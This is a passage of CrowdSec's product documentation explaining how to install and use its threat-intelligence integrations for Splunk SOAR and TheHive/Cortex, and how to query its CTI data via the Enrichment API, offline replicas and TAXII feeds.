the image below. ![Splunk dashboard](/assets/images/app_dashboard-c3890ce7f847c0717c03f52dc4708e76.png) 2. Navigate to the new apps page by clicking on the `New Apps` button. Then search for "CrowdSec" ![New Apps](/assets/images/search_in_new_apps-50ed831a5748ef3eebf7bd7670d8b42a.png) 3. Click on the the Install Button to install the app. ## Configurating the App[โ€‹](#configurating-the-app "Direct link to Configurating the App") 1. Now the App should appear in the unconfigured apps. ![Unconfigured Apps](/assets/images/unconfigured-78fa0677d9ea1820e665a2e354438f2e.png) 2. Click on `CONFIGURE NEW ASSET` button. 3. Enter the required details like asset name etc in the Asset Info tab. ![Asset Configure Part 1](/assets/images/configure_asset-bb3ade239ee78d617b7d4bece84abdf4.png) 4. Navigate to Asset Setting pane, and enter your CrowdSec CTI API key. If you don't have [one already see this guide to obtain one](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md). ![Asset Configure Part 2](/assets/images/configure_asset_pt2-2879ddb825a7e7d9495d1e22daf8fb15.png) 5. Click on the Save button to save the asset. 6. You can test this asset by clicking on the Test Connectivity button. If everything is configured properly, you would get message like the one in the image. ![Test Connectivity](/assets/images/test_connect-877df3b6d0b01b77ccd80d6ec1e74a99.png) Done, you've successfully configured the app. You can now use it in your playbooks and event investigations. ## Example Usage[โ€‹](#example-usage "Direct link to Example Usage") Here's an example of it's usage in event investigation. ![Example](/assets/images/lookup_for_ip_in_event-8b3d99fb09bb2ca8e8f104ca45d6950b.png) ![Result](/assets/images/lookup_result-35c31024e554598cbce08a5f6fb44d36.png) --- # TheHive/Cortex Plugin The **CrowdSec Cortex Analyzer** allows you to obtain a detailed report from CrowdSec's CTI **smoke** database. Here is the source code of the analyzer and report template: * [analyzer](https://github.com/TheHive-Project/Cortex-Analyzers/tree/master/analyzers/Crowdsec) * [report template](https://github.com/TheHive-Project/Cortex-Analyzers/tree/master/thehive-templates/Crowdsec_1_1) ## Installation[โ€‹](#installation "Direct link to Installation") The CrowdSec analyzer is available in Cortex analyzers collection from version **3.2.0** and will be ready to use within your observables of type **IP**. To add the CrowdSec analyzer to a case's observable you can refer to the [official documentation](https://docs.strangebee.com/thehive/user-guides/analyst-corner/cases-list/observables/?h=#run-analyzers). To complete/customize the template you can refer to this [how to](https://docs.strangebee.com/thehive/administration/analyzers-templates/). ## Usage[โ€‹](#usage "Direct link to Usage") 1. For a case's observable of type IP click on preview ![TheHive observables](/assets/images/thehive_observables-8707e1561affa0399c512cb8d3bc405a.png) 2. Run the CrowdSec analyzer * It should appear in the list * Click on the **analyze** (fire) icon ![TheHive - Cortex Analyzers](/assets/images/thehive_cortex_analyzers-72fdf91d78d7b329f088cd2b6cc81a38.png) 3. Check the report * Once the analyze process is complete, click on the date to see the full report. * Note that if you run the analyzer again, multiple reports for each date will be available. ![TheHive - Analyze complete](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAyAAAACSCAIAAAAy+DncAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAIVVJREFUeJzt3XlUVFeCBnCTzkyfnvT05Jz0dHdO/zFnTk96Oksf49Knc5I2phNNm0Q7UUlQibtoK4gL7ksQBTHqgImCu1Fb3PcFFTcEcWEVNwiKIPtaIDu13fleXXhWsQXwQRXy/U4dz6tbt+679ZDLV/fdetUt5txuQURERERP59GjRz/U6caARURERPT0GLCIiIiINGYbsC4esnd/iIiIiDo924AVE2Pv/hARERF1egxYRERERBqzCVhnIxiwiIiIiJ6WTcDaFsKARURERPS0GLCIiIiINMaARURERKQxBiwiIiIijTFgEREREWmMAYuIiIhIYwxYRERERBpjwCIiIiLSmE3A2neOAYuIiIjoadkErMvXGLCIiIiInhZPERIRERFpjAGLiIiISGMMWEREREQaY8AiIiIi0phNwIqJYcAiIiIieloMWEREREQaswlY10JO2rs/RERERJ2eTcC6sneXvftDRERE1Ok9CwGryOIpGykoKHBzc9OkP0RERNTFdfqAlZeXN2zYsK+++spsNj9NOxkZGW+88YZWvSIiIqKurNMHrB07dkyePHnChAkJCQlP0w4DFhEREWnFJmBFHtpv7/60Tk1NjZOTU1xc3NWrVz08PEwmk/rQV199dejQoYkTJ37xxRdDhw49cOCAfLSkpGTlypWjRo360mLfvn2yXA1Yq1evPnHihNqO2Wx2d3cPCwv7qs7w4cPfeeed77//XljOTi5atGjEiBHDhg3z9PR8+PChfNa6detQASXTp0/X6/WxsbHjx49HnZEjR86aNSsnJ6cDDxIRERF1NNtPEZ4JsXd/Wuf8+fNz585FBkJIQopKTU1VH0IGQuTKz8+vrq5OS0vr379/UlISyrOzs48cOfL48WODwZCZmTlgwICUlBRhFbDu3LkzZswYo9Eo27l///6ECRNw11AnNDQUaSk3NxeFyE/BwcFVVVUoP3fuHOIXNoQlpfXr1y8iIqKiogIBCyEvPj4encTd27dvl5eXd/yxIiIiog7TiU8RIt9MmjRJvXbXhg0bgoKC1Ef79OmDqKTe/eabb/bu3duwkYULFyIYCauAhbg2cuTIxMREWcHPzy8k5Enu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) ![TheHive - Cortex report](/assets/images/crowdsec-report-long-anonymized-8871f2ad339a2fae36478bee22a4a968.png) ## Configuration[โ€‹](#configuration "Direct link to Configuration") The short report displays a list of taxonomy labels (reputation, behaviors, mitre techniques, cves, etc.): ![TheHive - Cortex taxononmies](/assets/images/crowdsec-analyzer-result-example-anonymized-37f38525fd10ad0d405954791df060fa.png) Using the Cortex UI, you can configure the analyzer to enable/disable each taxonomy individually: ![TheHive - Cortex configuration](/assets/images/crowdsec-analyzer-config-f5f1da3297c2a869b6f3beef50ec2698.png) --- # APIs Overview CrowdSec exposes three ways to programmatically access its threat intelligence. They serve different use cases and scale requirements โ€” pick the one that fits your workflow, or combine them. ## Enrichment API[โ€‹](#enrichment-api "Direct link to Enrichment API") The standard HTTP/JSON API. Send a request, get a response โ€” ideal for on-demand lookups, scripts, and real-time enrichment inside a SIEM, SOAR, or TIP. * **Best for**: per-IP lookups, real-time enrichment pipelines, integrations with security platforms * **Rate limits**: apply per API key (see your plan quota) * **Auth**: API key via `x-api-key` header * **Formats**: JSON [Enrichment API โ†’](https://docs.crowdsec.net/u/cti_api/enrichment_api.md) ## Offline Replicas[โ€‹](#offline-replicas "Direct link to Offline Replicas") A full, periodically refreshed snapshot of the CrowdSec CTI database delivered as a downloadable file. No per-request latency, no rate limits โ€” you run the data locally. * **Best for**: high-volume enrichment, air-gapped environments, bulk ingestion into a data lake or TIP * **Rate limits**: none (bulk download) * **Auth**: dedicated API key (premium) * **Formats**: `mmdb`, `parquet`, `json` [Offline Replicas โ†’](https://docs.crowdsec.net/u/cti_api/offline_replicas.md) ## TAXII[โ€‹](#taxii "Direct link to TAXII") A TAXII 2.1 / STIX 2.1 feed for continuous, incremental synchronization. Poll the feed periodically and pull only what changed since your last poll โ€” native integration with any TAXII-compatible platform. * **Best for**: TIPs and platforms that speak TAXII natively (OpenCTI, MISP, Anomali, โ€ฆ), continuous feed synchronization * **Rate limits**: none beyond polling cadence * **Auth**: dedicated API key (premium) * **Protocol**: TAXII 2.1 over HTTPS, indicators as STIX 2.1 objects [TAXII โ†’](https://docs.crowdsec.net/u/cti_api/taxii.md) ## Which one to choose?[โ€‹](#which-one-to-choose "Direct link to Which one to choose?") | | Enrichment API | Offline Replica | TAXII | | ----------------------------- | --------------------- | ------------------------------------ | -------------------------------- | | High-volume / bulk enrichment | โš ๏ธ (per IP requests) | โœ… | โœ… | | Data access model | Call when you need it | Download periodically, query locally | Poll periodically, query locally | | Format | `json` | `json`, `mmdb`, `parquet` | `STIX` | | Incremental updates | โŒ | โŒ | โœ… | | Available In self service | โœ… | โŒ *(contact sales)* | โŒ *(contact sales)* | --- # Enrichment API The CrowdSec REST CTI API gives you programmatic access to IP reputation data collected from CrowdSec deployments worldwide. Use it to enrich your own security workflows, whether that's a quick manual lookup, a script that checks IPs at ingestion, or a fully automated enrichment pipeline inside a SIEM, SOAR, or TIP. ## Authentication[โ€‹](#authentication "Direct link to Authentication") All requests require a CTI API key passed in the `x-api-key` header. Keys are created and managed in the Console under **Settings โ†’ CTI API Keys**. [Create your API key โ†’](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md) ## Ways to Use the API[โ€‹](#ways-to-use-the-api "Direct link to Ways to Use the API") ### Integrations[โ€‹](#integrations "Direct link to Integrations") CrowdSec maintains ready-made integrations for common security platforms: Splunk, QRadar, Microsoft Sentinel, MISP, OpenCTI, Palo Alto XSOAR, TheHive, and more. If you use one of these, it's the fastest path to enrichment. [Browse all integrations โ†’](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) ### cURL[โ€‹](#curl "Direct link to cURL") For quick lookups or scripting, query the API directly: SHCOPY ``` curl -H "x-api-key: $API_KEY" https://cti.api.crowdsec.net/v2/smoke/1.2.3.4 | jq . ``` ### IPDEX[โ€‹](#ipdex "Direct link to IPDEX") Available in [Web UI](https://ipdex.crowdsec.net/) or [CLI](https://github.com/crowdsecurity/ipdex), this tool provides a detailed IP reputation report from a list of IPs or logs you provide.
This is a useful Proof of Value tool to see the coverage of CrowdSec Threat Intel for both Blocklists and Threat Intel. [IPDEX โ†’](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ipdex.md) ## API Reference[โ€‹](#api-reference "Direct link to API Reference") Full endpoint documentation is available via [Swagger](https://crowdsecurity.github.io/cti-api/). --- **CrowdSecโ€™s Cyber Threat Intelligence (CTI)** is a cutting-edge platform that enhances your cybersecurity defenses through community-driven insights and advanced threat intelligence. This introduction provides an overview of CTIโ€™s purpose, benefits, competitive advantages and including a search page with filters and IP detail pages. Investigate your first IP [there](https://app.crowdsec.net/cti). ![Alerts](/assets/images/home-ab701b94d6af71d2829470b6d77ee314.png) # What Is Cyber Threat Intelligence (CTI)? CrowdSecโ€™s Cyber Threat Intelligence (CTI) platform empowers organizations with real-time, actionable data on suspicious or malicious IP addresses. By leveraging community-shared threat signals and enriching them with advanced analytics, CTI offers a robust framework for identifying and mitigating risks before they impact your infrastructure. CTI serves as your go-to resource for proactive defense, offering an intuitive interface, powerful search capabilities, and detailed insights into potentially harmful IPs and their activities. # What Are the Benefits of CTI? **1. Real-Time Threat Awareness** CTI keeps you informed of the latest cybersecurity threats. By analyzing and enriching data from a global community, it provides up-to-the-minute intelligence on suspicious activities, enabling swift and informed decision-making. **2. Comprehensive IP Insights** Every IP address in CTI comes with a detailed profile: * Risk scores and threat levels * Associated threat types (e.g., brute force, spam, port scanning) * Geolocation data * Historical activity logs This wealth of information equips you with everything needed to understand the potential risks associated with an IP. **3. Community-Powered Defense** CrowdSec stands apart with its community-based approach. By pooling insights from thousands of users worldwide, CTI benefits from a vast, ever-growing database of validated threat intelligence. **4. Search and Discovery Tools** With CTIโ€™s advanced 